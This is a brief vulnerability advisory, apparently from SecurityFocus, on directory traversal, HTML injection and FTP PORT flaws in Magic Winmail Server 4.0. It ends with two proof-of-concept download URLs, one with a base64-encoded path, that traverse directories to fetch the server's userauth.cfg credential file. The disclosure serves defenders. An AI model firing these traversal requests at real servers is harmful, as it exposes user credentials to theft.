source: https://www.securityfocus.com/bid/12388/info

Magic Winmail Server is reportedly affected by multiple vulnerabilities.

There are two distinct directory traversal vulnerabilities in the Webmail interface allowing both arbitrary file downloads and uploads. There is also a HTML injection vulnerability in the Webmail interface that could lead to the theft of the administrator's session cookie.

There are several directory traversal vulnerabilities in the IMAP service commands which could permit a malicious user to read arbitrary emails, create or delete arbitrary files on the server and possibly retrieve arbitrary files from the server.

Magic Winmail Server's FTP service also reportedly fails to properly verify the IP address supplied by a user in a PORT command.

Magic Winmail Server version 4.0 (Build 1112) is reportedly affected by these issues; earlier versions may also be vulnerable. 

http://www.example.com:6080/download.php?
sid=656041e927559a2ff& // this must be the current session id
tid=0&folder=INBOX&ix=0&part=1&optype=download&type=nonmime&filename=Ly4uLy4uLy4uLy4uL3VzZXJhdXRoLmNmZw==

// Note Ly4uLy4uLy4uLy4uL3VzZXJhdXRoLmNmZw== is the base64 encoding of /../../../../userauth.cfg

http://www.example.com:6080/download.php?
sid=656041e927559a2ff&
tid=0&folder=INBOX&ix=0&part=1&optype=download&cache=1&filename=/../../../../userauth.cfg